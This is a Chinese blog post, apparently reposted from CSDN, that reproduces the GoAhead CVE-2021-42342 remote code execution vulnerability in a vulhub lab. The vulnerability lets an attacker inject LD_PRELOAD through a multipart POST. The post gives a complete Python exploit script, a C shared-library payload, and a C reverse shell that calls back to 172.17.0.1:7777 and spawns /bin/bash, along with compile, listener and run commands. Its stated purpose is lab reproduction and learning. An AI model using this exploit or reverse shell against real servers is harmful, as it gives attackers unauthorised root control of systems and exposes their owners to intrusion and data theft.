0


GoAhead远程命令执行漏洞(CVE-2021-42342)

GoAhead远程命令执行漏洞(CVE-2021-42342)

漏洞描述

漏洞主要是由于上传过滤器没有设置不受信任的var位绕过CGI处理程序的前缀检测,渗透人员可以利用这个漏洞在未授权的情况下,构造恶意程序数据执行远程命令执行攻击,进而获得服务器的最高权限。

具体成因则是GoAhead在处理CGI请求时,将用户传入的的参数作为环境变量了。这样,通过参数LD_PRELOAD就可以劫持CGI进程的动态链接库,进而执行任意代码。并且本漏洞实际上是对CVE-2017-17562的一次绕过。

补丁对用户传入参数进行了黑名单过滤,LD_PRELOAD这类参数不再设置为环境变量。但由于这个限制使用错了函数,导致实际上并没有生效

并且补丁还将用户传入的参数名前面增加了前缀,导致无法劫持任意环境变量。但这个限制漏掉了multipart的POST包,所以攻击者通过这个方式仍然可以注入任意环境变量。

在2021年5月份GoAhead默认将CGI相关的配置注释了,所以新版本的GoAhead默认没有开启CGI配置,并且老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响。

漏洞影响版本为:

  • 4.0.0<= GoAhead <= 4.1.2
  • 5.0.0<= GoAhead < 5.1.5

GoAhead在IBM、HP、Oracle、波音、D-link、摩托罗拉等厂商产品中广泛使用,所以该漏洞的影响范围非常广泛。

漏洞复现

启动环境

方法一、docker启环境

利用vulhub搭建漏洞环境,

下载安装vulhub,解压进入CVE-2021-42342目录下:

vulhub-master/goahead/CVE-2021-42342

启动环境:

docker-compose up -d

查看端口和IP(网卡eth0):

docker ps -a或docker-compose ps -a

浏览器访问IP和端口,出现如下页面代表访问成功

方法二、使用vulfocus

搜索CVE-2021-42342,启动环境,直接访问

复现漏洞

一、执行恶意代码

1、随便创建个目录,新建两个文件:poc.py、poc.c,代码如下:

下载poc.py(直接复制(如下图)或下载文件都可)

vulhub/poc.py at master · vulhub/vulhub · GitHub

poc.py代码如下:

import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult

PAYLOAD_MAX_LENGTH = 16384 - 200

def exploit(client, parts: ParseResult, payload: bytes):
path = '/' if not parts.path else parts.path
boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
padding = 'a' * 2000
content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}

--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";

/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain

#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
data = data.encode().replace(b'#payload#', payload)
client.send(data)
resp = client.recv(20480)
print(resp.decode())

def main():
target = sys.argv[1]
payload_filename = sys.argv[2]

with open(payload_filename, 'rb') as f:
     data = f.read()

if len(data) > PAYLOAD_MAX_LENGTH:
     raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)

parts = urlparse(target)
 port = parts.port
 if not parts.port:
     if parts.scheme == 'https':
         port = 443
     else:
         port = 80

context = ssl.create_default_context()
 with socket.create_connection((parts.hostname, port), timeout=8) as client:
     if parts.scheme == 'https':
         with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
             exploit(ssock, parts, data)

    else:
         exploit(client, parts, data)

if name == 'main':
main()

编写打印测试文件的poc代码如下(poc.c)

#include <unistd.h>

static void before_main(void) attribute((constructor));

static void before_main(void)

{

write(1, "Hello: World\r\n\r\n", 16);

write(1, "Hacked\n", 7);

}

2、生成payload.so文件(gcc版本不能太低):

使用gcc进行编译poc1.c中的代码,这样,before_main函数将在程序执行前被调用

gcc -s -shared -fPIC ./poc1.c -o payload.so

3、赋予payload.so、poc.py、poc.c等三个文件所有权限(777)。

4、然后,我们使用这个脚本来发送恶意数据包:(Python必须3.6以上才行)

python3 poc.py http://ip:端口号/cgi-bin/index payload.so

二、反弹shell

1、创建文件shell.c,放入下面的代码

反弹shell的poc代码如下(shell.c):

#include<stdio.h>

#include<stdlib.h>

#include<sys/socket.h>

#include<netinet/in.h>

char *server_ip="172.17.0.1";/The server which accepts shell/

uint32_t server_port=7777;/The port which you listen to/

static void reverse_shell(void) attribute((constructor));

static void reverse_shell(void)

{

int sock = socket(AF_INET, SOCK_STREAM, 0);

struct sockaddr_in attacker_addr = {0};

attacker_addr.sin_family = AF_INET;

attacker_addr.sin_port = htons(server_port);

attacker_addr.sin_addr.s_addr = inet_addr(server_ip);

if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)

exit(0);

dup2(sock, 0);

dup2(sock, 1);

dup2(sock, 2);

execve("/bin/bash", 0, 0);

}

2、编译以上代码

gcc -s -shared -fPIC ./shell.c -o shell.so

3、注意要给shell.so和shell.c所有权限(777)

4、在对应的ip端口上开启监听(开启另一个终端)

nc -lvnp 7777

5、执行payload,此时页面会显示500报错,(在执行脚本时可能会报错,但没有影响,不过我操作时没报错)

python3 poc.py ​​​​​​http://靶机-ip:靶机端口号/cgi-bin/index shell.so

6、查看监听端口的终端,会发现有建里连接:

7、输入whoami命令显示自身用户名称,可以看到是root用户,成功触发RCE

注意:

获取shell时,如果攻击机与靶机不是同一台机器,则需要把shell.c中的IP更换成攻击机的IP,端口号可不做更改(与攻击机监听的端口号一致)!

参考:

CVE-2021-42342漏洞复现及docker环境搭建_li2na1的博客-CSDN博客_docker 漏洞环境搭建

https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2021-42342(poc.py、shell.c、payload.c都在这里)

标签: 安全

本文转载自: https://blog.csdn.net/huayimy/article/details/127609424
版权归原作者 huayimu 所有, 如有侵权,请联系我们删除。

“GoAhead远程命令执行漏洞(CVE-2021-42342)”的评论:

还没有评论